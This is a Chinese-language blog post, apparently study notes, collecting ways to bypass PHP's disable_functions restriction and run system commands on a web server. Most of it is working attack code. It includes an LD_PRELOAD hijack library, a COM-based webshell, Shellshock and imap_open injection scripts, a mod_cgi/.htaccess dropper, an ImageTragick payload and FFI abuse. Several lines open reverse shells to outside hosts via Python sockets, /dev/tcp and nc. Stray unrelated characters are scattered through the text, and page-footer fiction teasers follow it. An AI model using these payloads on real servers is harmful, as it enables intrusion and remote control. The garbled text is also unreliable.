disable_functions繞過小結(jié)

本文僅作為學習記錄须喂,如有侵權(quán)闷叉,請聯(lián)系刪除猫态!

環(huán)境搭建

由于大部分的disable_functions繞過技巧是針對Linux操作系統(tǒng)的该园,所以需要搭建環(huán)境:
本次搭建的環(huán)境為:
Ubuntu 16.04 + php5.6 + apache2.4.18

apache環(huán)境搭建:
sudo apt-get install apache2
php環(huán)境搭建:

1、添加網(wǎng)易源:

sudo add-apt-repository 'deb http://mirrors.163.com/ubuntu/ xenial main restricted universe multiverse'

2拉馋、添加PPA

sudo add-apt-repository ppa:ondrej/php

3榨为、安裝php5.6

sudo apt-get update
sudo apt-get install php5.6

# 安裝完后檢測
sudo php -v

詳情參考:https://ubuntuqa.com/article/10016.html

apache設(shè)置php解析支持:

首先查看/etc/apache2/mods-available該目錄下是否存在php5.6.conf和php5.6.load這兩個文件

php解析部分在的配置在/etc/apache2/mods-available下的php5.6.conf和php5.6.load中,apache2.conf文件中并沒有將這兩個文件包含進來煌茴,只要包含進去就OK了

最后一步随闺,開啟apache服務(wù),檢測php文件是否正常解析:

詳情參考:https://blog.csdn.net/daaikuaichuan/article/details/84865438

環(huán)境配置

查看disable_funcitons禁用函數(shù):

發(fā)現(xiàn)默認情況下蔓腐,并沒有禁用敏感的函數(shù)矩乐,如:

system,eval,exec,shell_exec,passthru,popen,proc_open

還是可以正常執(zhí)行系統(tǒng)命令,那么找到php.ini的disable_functions合住,加入如上函數(shù)绰精,禁止執(zhí)行系統(tǒng)命令

這時已經(jīng)無法執(zhí)行系統(tǒng)命令

利用環(huán)境變量LD_PRELOAD繞過:

LD_PRELOAD是Linux系統(tǒng)的下一個有趣的環(huán)境變量:“它允許你定義在程序運行前優(yōu)先加載的動態(tài)鏈接庫撒璧。這個功能主要就是用來有選擇性的載入不同動態(tài)鏈接庫中的相同函數(shù)透葛。通過這個環(huán)境變量,我們可以在主程序和其動態(tài)鏈接庫的中間加載別的動態(tài)鏈接庫卿樱,甚至覆蓋正常的函數(shù)庫僚害。一方面,我們可以以此功能來使用自己的或是更好的函數(shù)(無需別人的源碼),而另一方面萨蚕,我們也可以以向別人的程序注入程序靶草,從而達到特定的目的。

1岳遥、
項目地址:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
利用條件:

Linux環(huán)境
putenv()奕翔、mail()可用

基本原理:

通過環(huán)境變量 LD_PRELOAD 劫持系統(tǒng)函數(shù),來突破 disable_functions 限制執(zhí)行操作系統(tǒng)命令

利用過程:
bypass_disablefunc.php和bypass_disablefunc_x64.so上傳到目標服務(wù)器
執(zhí)行命令:

# cmd: 執(zhí)行的命令
# outpath: 讀寫權(quán)限目錄
# sopath: so文件的絕對路徑

http://site.com/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so

成功執(zhí)行系統(tǒng)命令浩蓉!

2派继、LD_PRELOAD劫持
php的mail函數(shù)在執(zhí)行過程中會默認調(diào)用系統(tǒng)程序/usr/sbin/sendmail,如果我們能劫持sendmail程序捻艳,再用mail函數(shù)來觸發(fā)就能實現(xiàn)我們的目的

事前準備環(huán)境:

sudo apt-get install sendmail
service sendmail start

sendmail函數(shù)在運行過程動態(tài)調(diào)用了很多標準庫函數(shù)驾窟,我們從中隨便選取一個庫函數(shù)geteuid進行測試。

#include <stdlib.h>
#include <stdio.h>
#include <string.h> 
 
void payload() {
        system("rm /tmp/check.txt");
}   
 
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

當這個共享庫中的geteuid被調(diào)用時认轨,嘗試加載payload()函數(shù)绅络,執(zhí)行命令.
在攻擊機上(注意編譯平臺應(yīng)和靶機平臺相近,至少不能一個是32位一個是64位)把它編譯為一個位置信息無關(guān)的動態(tài)共享庫

gcc -c -fPIC hack.c -o hack 
gcc -shared hack -o hack.so

把hack.so放到WEB目錄嘁字,然后編寫一個PHP文件進行測試

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("test@163.com","","","","");
?>

執(zhí)行之前恩急,事先在tmp目錄下創(chuàng)建check.txt文件

系統(tǒng)成功執(zhí)行了刪除命令

具體原理請參考:PHP中通過bypass disable functions執(zhí)行系統(tǒng)命令的幾種方式

windows 系統(tǒng)組件繞過:

如果php版本>5.3.15 需保證php根目錄的 ext 文件夾下確保存有 php_com_dotnet.dll 這個文件,在php.ini中加入(高版本擴展要自己添加):

extension=php_com_dotnet.dll

去除com.allow_dcom = true前面的;號

com.allow_dcom = true

利用代碼:

<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一個COM對象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //調(diào)用對象方法來執(zhí)行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

黑名單繞過:

exec:
<?php
echo exec('whoami');
?>
shell_exec:
<?php
echo shell_exec('whoami');
?>
system:
<?php
system('whoami');
?>
passthru:
<?php
passthru("whoami");
?>
popen:
<?php
$command=$_POST['cmd'];    
$handle = popen($command , "r");
while(!feof($handle))
{        
 echo fread($handle, 1024);
}  
pclose($handle);
?>
proc_open:
<?php
$command="ifconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        
    echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}
?>
pcntl_exec:

pcntl是linux下的一個擴展纪蜒,可以支持php的多線程操作假栓。(與python結(jié)合反彈shell) pcntl_exec函數(shù)的作用是在當前進程空間執(zhí)行指定程序,版本要求:PHP 4 >= 4.2.0, PHP 5

<?php  pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("119.x.x.x",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

或者:

#利用pcntl_exec()執(zhí)行test.sh
<?php
if(function_exists('pcntl_exec')) {
   pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
       echo 'pcntl extension is not support!';
}
?>

test.sh:

#!/bin/bash
/bin/bash -i >& /dev/tcp/119.x.x.x/8000 0>&1       #反彈shell

利用ShellShock繞過:

利用條件:

目標OS存在Bash破殼(CVE-2014-6271)漏洞
PHP 5.*
linux
putenv()霍掺、mail()可用

CVE-2014-6271檢測:
Bash版本小于等于4.3可能存在漏洞:

# 查看bash版本
bash --version

本地驗證匾荆,使用如下命令:

env x='() { :;}; echo vulnerable' bash –c "echo This is a test"

若存在漏洞,將會回顯:

vulnerable
This is a test

利用原理:
一般函數(shù)體內(nèi)的代碼不會被執(zhí)行杆烁,但破殼漏洞會錯誤的將"{}"花括號外的命令進行執(zhí)行
php里的某些函數(shù)(例如:mail()牙丽、imap_mail())能調(diào)用popen或其他能夠派生bash子進程的函數(shù),可以通過這些函數(shù)來觸發(fā)破殼漏洞(CVE-2014-6271)執(zhí)行命令兔魂。

利用代碼:

<?php
   function shellshock($cmd) {
  $tmp = tempnam(".","data");
  putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
  mail("a@127.0.0.1","","","","-bv");
  $output = @file_get_contents($tmp);
  @unlink($tmp);
  if($output != "") return $output;
  else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

利用imap_open函數(shù)任意命令執(zhí)行

利用條件:目標開啟了imap擴展烤芦,并支持imap_open()函數(shù)

利用原理:
PHP 的imap_open函數(shù)中的漏洞可能允許經(jīng)過身份驗證的遠程攻擊者在目標系統(tǒng)上執(zhí)行任意命令。該漏洞的存在是因為受影響的軟件的imap_open函數(shù)在將郵箱名稱傳遞給rsh或ssh命令之前不正確地過濾郵箱名稱析校。如果啟用了rsh和ssh功能并且rsh命令是ssh命令的符號鏈接构罗,則攻擊者可以通過向目標系統(tǒng)發(fā)送包含-oProxyCommand參數(shù)的惡意IMAP服務(wù)器名稱來利用此漏洞。成功的攻擊可能允許攻擊者繞過其他禁用的exec 受影響軟件中的功能智玻,攻擊者可利用這些功能在目標系統(tǒng)上執(zhí)行任意shell命令

利用代碼:

<?php
error_reporting(0);
if (!function_exists('imap_open')) {
       die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

利用Apache+mod_cgi+.htaccess繞過:

利用條件:

啟用mod-cgi
允許.htaccess文件
.htaccess可寫

利用原理:
在apache的WEB環(huán)境中遂唧,我們經(jīng)常會使用.htaccess這個文件來確定某個目錄下的URL重寫規(guī)則,特別是一些開源的CMS或者框架當中經(jīng)常會用到吊奢,比如著名的開源論壇discuz!盖彭,就可以通過.htaccess文件實現(xiàn)URL的靜態(tài)化,大部分PHP框架,例如ThinkPHP和Laravel召边,在apache環(huán)境下會用.htaccess文件實現(xiàn)路由規(guī)則铺呵。但是如果.htaccess文件被攻擊者修改的話,攻擊者就可以利用apache的mod_cgi模塊隧熙,直接繞過PHP的任何限制片挂,來執(zhí)行系統(tǒng)命令

利用代碼:

<?php
$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反彈shell
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定這個header,否則會返回500
$shellfile .="$cmd";
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
   echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET['checked']))
{
   @file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND);
   header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //執(zhí)行環(huán)境的檢查
}
else
{
   $modcgi = in_array('mod_cgi',apache_get_modules()); // 檢測mod_cgi是否開啟
   $writable = is_writable('.'); //檢測當前目錄是否可寫
   $htaccess = !empty($_SERVER['HTACCESS']);//檢測是否啟用了.htaccess
       checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
       checkEnabled("Iswritable",$writable,"Yes","No");
       checkEnabled("htaccessworking",$htaccess,"Yes","No");
   if(!($modcgi && $writable&& $htaccess))
   {
       echo "Error. All of the above mustbe true for the script to work!"; //必須滿足所有條件
   }
   else
   {

checkEnabled("Backing
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in
.htaccess.bak","Failed!"); //備份一下原有.htaccess

checkEnabled("Write
.htaccessfile",file_put_contents('.htaccess',"Options
+ExecCGI\nAddHandlercgi-script
.dizzle"),"Succeeded!","Failed!");//.dizzle贞盯,我們的特定擴展名
       checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//寫入文件
       checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//給權(quán)限
       echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //調(diào)用
   }
}
?>

利用ImageMagick漏洞繞過:

利用條件:
Imagick <= 3.3.0
PHP >= 5.4

利用原理:
ImageTragick(CVE-2016-3714)
漏洞的利用過程非常簡單宴卖,只要將精心構(gòu)造的圖片上傳至使用漏洞版本的ImageMagick,ImageMagick會自動對其格式進行轉(zhuǎn)換邻悬,轉(zhuǎn)換過程中就會執(zhí)行攻擊者插入在圖片中的命令症昏。因此很多具有頭像上傳、圖片轉(zhuǎn)換父丰、圖片編輯等具備圖片上傳功能的網(wǎng)站都可能會中招

ImageMagick下載地址:https://sourceforge.net/projects/imagemagick/

環(huán)境搭建過程參考:
https://www.php.net/manual/zh/imagick.installation.php

利用代碼:

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
   $command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

具體原理和利用參考:https://www.anquanke.com/post/id/83872

FFI外部函數(shù)接口繞過

利用條件:
php 7.4
ffi.enable=true

利用原理:
FFI(Foreign Function Interface)肝谭,即外部函數(shù)接口,允許從用戶區(qū)調(diào)用C代碼蛾扇。
當PHP所有的命令執(zhí)行函數(shù)被禁用后攘烛,通過PHP 7.4的新特性FFI可以實現(xiàn)用PHP代碼調(diào)用C代碼的方式,先聲明C中的命令執(zhí)行函數(shù)镀首,然后再通過FFI變量調(diào)用該C函數(shù)即可Bypass disable_functions

利用代碼:

<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
   "int system(char *command);", // this is a regular C declaration
   "libc.so.6");
// call C's printf()
$a='nc -e /usr/bin/zsh 127.0.0.1 8888';
$ffi->system($a);
?>

參考如下:


disable_functions繞過總結(jié)
PHP Webshell下繞過disable_function的方法
PHP中通過bypass disable functions執(zhí)行系統(tǒng)命令的幾種方式
PHP安全配置講解

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
禁止轉(zhuǎn)載坟漱,如需轉(zhuǎn)載請通過簡信或評論聯(lián)系作者。
  • 序言:七十年代末更哄,一起剝皮案震驚了整個濱河市芋齿,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌成翩,老刑警劉巖觅捆,帶你破解...
    沈念sama閱讀 218,122評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異麻敌,居然都是意外死亡栅炒,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,070評論 3 395
  • 文/潘曉璐 我一進店門术羔,熙熙樓的掌柜王于貴愁眉苦臉地迎上來赢赊,“玉大人,你說我怎么就攤上這事级历∈鸵疲” “怎么了?”我有些...
    開封第一講書人閱讀 164,491評論 0 354
  • 文/不壞的土叔 我叫張陵鱼喉,是天一觀的道長秀鞭。 經(jīng)常有香客問我,道長扛禽,這世上最難降的妖魔是什么锋边? 我笑而不...
    開封第一講書人閱讀 58,636評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮编曼,結(jié)果婚禮上豆巨,老公的妹妹穿的比我還像新娘。我一直安慰自己掐场,他們只是感情好往扔,可當我...
    茶點故事閱讀 67,676評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著熊户,像睡著了一般萍膛。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上嚷堡,一...
    開封第一講書人閱讀 51,541評論 1 305
  • 那天蝗罗,我揣著相機與錄音滋恬,去河邊找鬼裁蚁。 笑死,一個胖子當著我的面吹牛娃承,可吹牛的內(nèi)容都是我干的北苟。 我是一名探鬼主播桩匪,決...
    沈念sama閱讀 40,292評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼友鼻!你這毒婦竟也來了傻昙?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,211評論 0 276
  • 序言:老撾萬榮一對情侶失蹤彩扔,失蹤者是張志新(化名)和其女友劉穎屋匕,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體借杰,經(jīng)...
    沈念sama閱讀 45,655評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡过吻,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,846評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了蔗衡。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片纤虽。...
    茶點故事閱讀 39,965評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖绞惦,靈堂內(nèi)的尸體忽然破棺而出逼纸,到底是詐尸還是另有隱情,我是刑警寧澤济蝉,帶...
    沈念sama閱讀 35,684評論 5 347
  • 正文 年R本政府宣布杰刽,位于F島的核電站菠发,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏贺嫂。R本人自食惡果不足惜滓鸠,卻給世界環(huán)境...
    茶點故事閱讀 41,295評論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望第喳。 院中可真熱鬧糜俗,春花似錦、人聲如沸曲饱。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,894評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽扩淀。三九已至楔敌,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間驻谆,已是汗流浹背梁丘。 一陣腳步聲響...
    開封第一講書人閱讀 33,012評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留旺韭,地道東北人氛谜。 一個月前我還...
    沈念sama閱讀 48,126評論 3 370
  • 正文 我出身青樓,卻偏偏與公主長得像区端,于是被迫代替她去往敵國和親值漫。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,914評論 2 355